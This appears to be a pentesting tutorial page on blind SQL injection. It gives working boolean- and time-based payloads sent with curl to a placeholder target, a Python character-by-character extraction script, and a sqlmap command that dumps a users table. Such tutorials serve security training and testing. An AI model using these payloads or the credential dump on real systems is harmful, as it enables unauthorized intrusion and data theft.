Skip to content
HackIndex logo

HackIndex

Blind SQL Injection Exploitation

2 min read Mar 28, 2026

Blind SQL injection extracts data without seeing query results in the response. Boolean-based blind compares response differences between true and false conditions to infer data one character at a time. Time-based blind uses sleep delays when no response difference exists at all. Both are slow manually — sqlmap automates the extraction when allowed.

Boolean-Based Extraction

With a confirmed boolean blind condition, extract data by testing one character at a time using ASCII value comparisons:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND SUBSTRING(version(),1,1)='5'--" | wc -c 
4823
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND SUBSTRING(version(),1,1)='8'--" | wc -c 
612

The larger response for the true condition (version starts with 5) confirms boolean extraction works. Script the extraction to pull the full database version:

import requests, string

TARGET = f'http://$TARGET_IP:$PORT/index.php'
TRUE_SIZE = 4823  # size of a true condition response

def extract_char(position, query):
    for char in string.printable:
        payload = f"1 AND SUBSTRING(({query}),{position},1)='{char}'--"
        r = requests.get(TARGET, params={'id': payload})
        if len(r.content) == TRUE_SIZE:
            return char
    return None

result = ''
for i in range(1, 20):
    char = extract_char(i, 'SELECT version()')
    if not char:
        break
    result += char
    print(f'Version so far: {result}')

print(f'Final: {result}')

Time-Based Extraction

When no response size difference exists, use sleep delays to extract data. Each character check either sleeps or does not, based on whether the condition is true:

┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND IF(SUBSTRING(user(),1,4)='root',SLEEP(3),0)--" 
real    0m3.121s

A 3-second delay confirms the condition is true — the database user starts with root. Use binary search on ASCII values to speed up extraction versus testing each printable character:

┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND IF(ASCII(SUBSTRING(user(),1,1))>64,SLEEP(2),0)--" 
real    0m2.098s

Extract Credentials with sqlmap

For full credential dumps from blind injection, sqlmap handles the extraction automatically:

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --technique=BT --dump -T users -D webapp

References